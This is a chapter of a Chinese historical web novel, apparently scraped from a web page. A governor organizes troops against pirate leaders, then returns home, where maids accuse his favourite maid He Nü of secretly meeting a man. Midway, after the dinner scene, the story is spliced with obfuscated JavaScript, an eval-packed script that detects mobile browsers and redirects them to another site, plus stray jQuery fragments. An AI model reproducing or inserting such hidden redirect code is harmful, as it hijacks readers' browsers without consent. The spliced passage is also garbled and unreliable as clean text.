总督衙门,议事厅。
陆珏身着绯色官袍,端坐于紫檀木公案之后,面色严肃,案上摊着几张舆图,正是东南沿海一带的山川地形。
阶下立着两名大将,皆是身材魁梧,一身玄甲,腰悬长剑,神态肃然。左首一人名唤岳凌峰,面膛黝黑,眉宇间带着几分悍勇。右首之人唤作秦大瀚,阔脸方腮,双目炯炯有神。这二人皆是陆珏上任后新提拔上来的将领。
“二位将军。”陆珏正色道,“此次洪海率倭寇围困桐乡一个多月,多亏了有你们二位得力干将拼死力战,才能击退倭贼,此乃大功一件。”
岳凌峰拱手道:“总督大人过誉了,保境安民乃我等本分。何况若非总督大人出谋划策,擘画周详,末将与秦将军纵有匹夫之勇,仅凭区区五千兵力,如何能击退那万余穷凶极恶的倭寇?此役大捷,说到底,实乃总督大人运筹帷幄、调度有方之功也!”
秦大瀚拱手附和,朗声道:“岳将军所言极是,此番逼退倭寇,全因大人足智多谋,威名远播,我等不过遵令行事,何敢居功?”
陆珏摆手道:“二位将军不必过谦。我既能在众多将士之中提拔你们,自是看重你们身上的过人本领和报国赤诚,此番剿倭破敌,你们也确实没有让我失望。二位放心,此战我必当递呈奏折禀明圣上,在《战功册》上叙你们之功,保举你们的晋升,断不叫你们的血汗白费半分。”
岳凌峰和秦大瀚对视一眼,强压着眼里的喜悦,并肩拱手,齐声道:“蒙大人赏识保举,我等感激不尽,往后必当赴汤蹈火,肝脑涂地,为大人效犬马之劳,以报厚恩!”
“嗯。”陆珏神色一转,眉峰蹙紧道:“只是……”
岳凌峰问道:“大人有何烦忧?不妨说出来让我等为您分忧解劳!”
陆珏抬手抚过案上舆图,声音沉稳,却带着几分凝重:“此番桐乡之围虽解,那倭寇也被我军杀除了大半,可到底是让洪海那贼首给逃了,保不齐哪日他便又纠集些亡命之徒,重整旗鼓,再犯海疆。且东南一带不止他一个倭寇首领,更兼陈鳌,叶浦这两个倭寇大头目,这三人为祸一方已久,时不时便会率领手下倭人和海盗上岸劫掠村落,烧杀抢掠,无恶不作,实乃心腹大患也。”
原来自先皇以来,东南沿海倭寇袭扰不绝,沿海百姓苦不堪言。其中,陈鳌,洪海,叶浦这三个倭寇首领恶名在外,被老百姓称为“倭寇三巨头”。听闻这三人皆是我大盛朝子民,陈鳌原先是海商、洪海原是杭州慧禅寺的和尚,而叶浦则是犯过命案逃亡的罪犯。
这三人后来竟成了海盗,勾结东瀛倭寇,屡屡率部侵扰东南海疆。此三人不仅凶悍善战,更兼狡猾多谋,且这三个头目之间常常相互配合,是以先前两任浙直总督,一直未能平定这倭患之乱。
而此番圣上之所以将陆珏调任浙直总督,就是看重他的才干,满心寄望于他,盼他在任之日,能够彻底平定东南倭患,以安海疆。
岳凌峰和秦大瀚听了陆珏的话,对视一眼,齐声道:“大人的意思是?”
陆珏俊容沉肃:“经过此次桐乡之战,本督才发现浙直军备废弛已久,能调动的兵力尚不足一万人,卫所兵丁缺员竟超六成,余下士兵多是些市井流民充数,配备的军械也多锈烂如废铁,兵力着实薄弱。此番解桐乡之围,若不是靠计谋取胜,仅凭我们现在的兵力,只怕远不足以应对猖獗的倭寇势力。倘若日后再有倭寇大规模来犯,或是这些头目们联手作乱,试问我等该如何应对?”
“是以。”陆珏掀起眼皮,望向二人道,“本督决意,将组建一支强军,专司剿倭之事。但此事仅靠我一人只怕分身乏术,还须得你们二位从中协助。”
岳凌峰和秦大瀚当即单膝跪地,并肩拱手,齐声道:“为大人分忧,是卑职的本分,我等必当全力配合!”
“好,好!”陆珏满意颌首,起身绕到公案前,亲自扶起二人,“两位将军请起。”
他先望向岳凌峰:“岳将军,你久在陆上征战,熟悉步战、骑战之法,本督便派你去挑选一批精壮兵丁,严整军纪,勤加操练,务必练出一支能征善战、以一敌十的精锐之师,日后才好应对倭寇的陆上袭扰与围城之患。”
紧接着,他又看向秦大瀚:“秦将军,你精通水性,熟谙海战韬略,曾多次与倭寇在海上交锋,经验丰富。便由你负责海上作战方面的筹备与训练。挑选熟悉水性的兵丁、渔民,操练海战之法,务必组建一支强悍的水师,扼守沿海要道,让那些倭寇再不敢肆意往来于海上。”
岳凌峰和秦大瀚跪地领命,声音铿锵有力:“属下遵令!大人深谋远虑,卑职定不负大人所托,定当尽心竭力,打造一支精兵,助大人剿灭倭寇,保我大盛海疆安宁!”
“好!”陆珏道,“本督信得过你们!关于经费、器械之事,本督会尽力协调,你们只管放手去做!务必尽快将这支强军组建起来,助我早日擒得陈鳌,洪海,叶浦三贼首,荡平倭寇,还沿海百姓一片安宁!”
“我等誓死追随大人,剿灭倭寇,保境安民!”
二人领命,陆珏随即又同他们补充了些挑选兵丁的细节,议完公事他们这才退下。
人刚走一会儿,岱安便进来请示道:“爷,今日留在衙门,还是回陆府去?”
陆珏外出剿匪已有一个多月,久不曾好好歇过,此刻略显疲累的坐在公案后,闭眼揉着太阳穴道:“收拾东西,即刻回府。”
岱安应喏,忙去收拾,半个时辰后,收拾停当,车马已备,陆珏坐在马车之中,左右岱安、泰来两个小厮跟随,戟风、飞剑、青钺、连弩等一众侍卫队在马车后跟着,一路归家去。
到了陆府,陆珏先去拜见了老太太和陆奉先蒋氏,而后径自回了凌云堂,门房见主人归来,忙高声呼喊“公子爷回来了”等语,侍书和抱琴、玲珑等一众丫鬟原在院中树下,都坐在石凳上做针指,说着闲话,闻听主子归来,都满心欢喜,忙忙起身相迎。
陆珏刚进院门,就见一群丫鬟围上来,五六张嘴叽叽喳喳的同他嘘寒问暖。
“我的爷,奴婢可算把您给盼回来了。”抱琴第一个迎上前,抱着他的胳膊娇声道。
侍书紧随其后:“爷回来了,曾吃饭没有?”
玲珑也忙在旁献殷勤:“爷出门一个多月,奴婢们没有一日不牵肠挂肚,您总算回来了。”
余下几个丫鬟也都叙着寒温,七嘴八舌说个不停。
陆珏失笑:“行了行了,都别围着,先让爷进屋坐下歇歇喝口茶。”
众丫鬟这才反应过来,连忙让出道来,七八个丫鬟左右簇拥着陆珏一路进了屋里。
陆珏一路风尘仆仆,进屋坐下吃了茶便吩咐抬热水来,侍书原想伺候他沐浴,抱琴却抢先一步,她只好去厨下吩咐厨娘做些陆珏平日爱吃的饭菜送过来。
等陆珏洗完出来,饭菜也已摆上桌,东坡焖肉、龙井虾仁、鲜笋煨鸡、西湖莼菜汤等满满摆了一桌。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773523|184923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
陆珏此时也有些饿了,这一个多月来一直忙着与倭寇作战,经常饭也顾不上吃,人都清瘦了一圈。
是以,他坐下只专心用膳,待至酒足饭饱,下人撤了残席,侍书用小茶盘捧上茶来,陆珏接了茶,玲珑捧过漱盂来,漱口毕,抱琴又捧上一盏新沏的雨前龙井来与他饮用。
陆珏斜倚于罗汉榻上,手捧青瓷茶盏,慢呷细品。那茶香清冽回甘,漫过喉间,连日奔波之疲渐消,周身筋骨都松快下来,竟是难得的安舒。
他闲适地喝着茶,目光漫不经心扫过面前侍立的几个丫鬟,搜寻了一圈却没在里头找到荷女的身影,不觉纳闷道:“荷女人呢?爷都回来这么久了,她怎么还不来爷跟前伺候?”
侍书同抱琴对视一眼,回道:“爷恕罪,奴婢们也不知荷女妹妹在哪。”
陆珏剑眉蹙起:“去个人到东厢房看看,把她叫过来。”
侍书微微垂首:“方才已经差人去叫过了。”
“叫过了?那怎的这么久了还不出现?”陆珏浓眉皱得愈深。
方才他进院门时便没瞧见她身影,那会子还以为她在房里,想着待她听到动静了自会来正房这边,不曾想他饭都用完了,她却还未出现,一时便有些不悦。
旁的丫鬟见他归来,都一窝蜂围上来嘘寒问暖,这女人不积极便罢了,他回来那么久了竟连个人影都未瞧见,亏他在桐乡打战时还时常想着她。
侍书听陆珏问话,欲言又止道:“爷...荷女妹妹她...她......”
陆珏见她支支吾吾的,忽将茶盏重重掼于炕几之上,沉声道:“有话便直说,吞吞吐吐做甚!”
“侍书姐姐想必也说不出口,还是由奴婢来说罢。”抱琴忽站出来道,“爷不是想知道荷女在哪吗?今日奴婢便来告诉您,您不家的这一个多月,她都背着您干什么去了!”
陆珏心下已有了不好的预感,登时变了脸色:“快说。”
抱琴早等着这一刻了,状告道:“说出来我都替爷气忿,前几日荷女的贴身丫鬟春桃私下偷偷与我们说,她瞧见荷女背着爷和一个年轻男子在集雅斋私会呢!”
陆珏听言,脸瞬间阴寒下来,冷声问:“你说得当真?”
抱琴笃定道:“千真万确,做不得假,且她今日还又出去同那奸夫私会了,不信您把春桃叫来亲自问话。”
陆珏朝侍书使了个眼色,侍书便立马出去将春桃叫进来。
春桃是三等丫鬟,平日没机会进到正房来,此番一进屋便忍不住四处张望打量,正感叹屋内陈设富丽华贵呢,冷不丁就触到陆珏阴寒的目光,不由缩了缩脖子,连忙跪下行礼:“奴婢春桃,拜见公子爷。”
陆珏冷着脸,盘问道:“你平时跟着荷女,是否瞧见过她与外男私会?你且一一道来。”
春桃隐晦的同抱琴交换了下神色,回道:“回爷的话,奴婢的确撞见过……”
她回忆道:“这一两个月以来,荷女姑娘时常往外头去,每回都是我与娇杏轮流陪同外出。原先她每回都是将我们支开,让我们在小茶馆喝茶等她,可就在前几日,奴婢在茶馆许久不见她来找,便自个儿去附近乱逛寻她,不想就在街上看到她和一个年轻公子肩并肩一起走了出来……”
话音未尽,陆珏突然起身朝面前一个绣凳飞踢过去,只听“哐当”一声,那绣凳应声倒地,众丫鬟都唬了一跳,抬头一看,只见陆珏眼底阴寒,脸色铁青的大步出了门去。